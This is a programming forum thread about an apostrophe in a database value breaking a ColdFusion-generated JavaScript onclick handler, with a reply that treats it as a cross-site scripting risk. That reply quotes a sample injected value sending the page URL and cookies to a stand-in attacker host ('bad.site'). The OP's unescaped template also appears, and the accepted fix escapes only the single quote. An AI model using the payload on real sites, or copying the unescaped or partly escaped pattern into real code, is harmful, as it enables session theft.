INTELLIGENT WORK FORUMS
FOR COMPUTER PROFESSIONALS

Log In

Come Join Us!

Are you a
Computer / IT professional?
Join Tek-Tips Forums!
  • Talk With Other Members
  • Be Notified Of Responses
    To Your Posts
  • Keyword Search
  • One-Click Access To Your
    Favorite Forums
  • Automated Signatures
    On Your Posts
  • Best Of All, It's Free!

*Tek-Tips's functionality depends on members receiving e-mail. By joining you are opting in to receive e-mail.

Posting Guidelines

Promoting, selling, recruiting, coursework and thesis posting is forbidden.

Jobs

Single quote is breaking my onclick action

Single quote is breaking my onclick action

(OP)
I'm trying to populate an input tag when text is clicked. It works great until the data contains an apostrophe. i.e. The value (DANCER'S CALL) is placed in the function dynamically by my server side database code. I'm having trouble figuring out how to solve the unbalanced delimiters this scenario presents. Any Help appreciated.

CODE

onclick='document.getElementById("HorseName").value="DANCER'S CALL";
document.getElementById("HorseName").focus();' 

In case it helps, here's the ColdFusion Server side code that builds the onclick action:

CODE

<span onclick='document.getElementById("HorseName").value="#getHName.hname#";document.getElementById("HorseName").focus();'>
#getHName.hname#
</span>


Lyndon

RE: Single quote is breaking my onclick action

Hi

And if getHName.hname's value is ";$.get("http://bad.site/",{"u":location.href,"c":document.cookie});//, then your side will obediently send the URL and cookies to an attacker ?

According to the documentation you should use encodeForHTML(). I guess somehow like this :

CODE

<span onclick='document.getElementById("HorseName").value="#encodeForHTML(getHName.hname)#";document.getElementById("HorseName").focus();'>
#encodeForHTML(getHName.hname)#
</span> 

Feherke.
feherke.github.io

RE: Single quote is breaking my onclick action

(OP)
Security: The dynamic value can only be a horse name from our internal database. And application is not available to the public.

We use ColdFusion 9 and the encodeForHTML is not available, sorry I didn't think to post version.

I even tried passing the horse name to a function, no luck mad

CODE -->

function putHName(hname) {
			document.getElementById("HorseName").value=hname;
			document.getElementById('HorseName').focus();
		} 

Lyndon

RE: Single quote is breaking my onclick action

Hi

No problem, I have absolutely no idea about ColdFusion or its versions. This is a generic issue and should be addressed regardless language, version, data source or site accessibility.

Thought there is a chance ColdFusion's function to not encode the single quote too. So go the manual way, and replace "'" with "&apos;" in getHName.hname.

Feherke.
feherke.github.io

RE: Single quote is breaking my onclick action

(OP)
That did it!!!

Thanks so much Feherke

Lyndon

Red Flag This Post

Please let us know here why this post is inappropriate. Reasons such as off-topic, duplicates, flames, illegal, vulgar, or students posting their homework.

Red Flag Submitted

Thank you for helping keep Tek-Tips Forums free from inappropriate posts.
The Tek-Tips staff will check this out and take appropriate action.

Reply To This Thread

Posting in the Tek-Tips forums is a member-only feature.

Click Here to join Tek-Tips and talk with other members!

Resources

Close Box

Join Tek-Tips® Today!

Join your peers on the Internet's largest technical computer professional community.
It's easy to join and it's free.

Here's Why Members Love Tek-Tips Forums:

Register now while it's still free!

Already a member? Close this window and log in.

Join Us             Close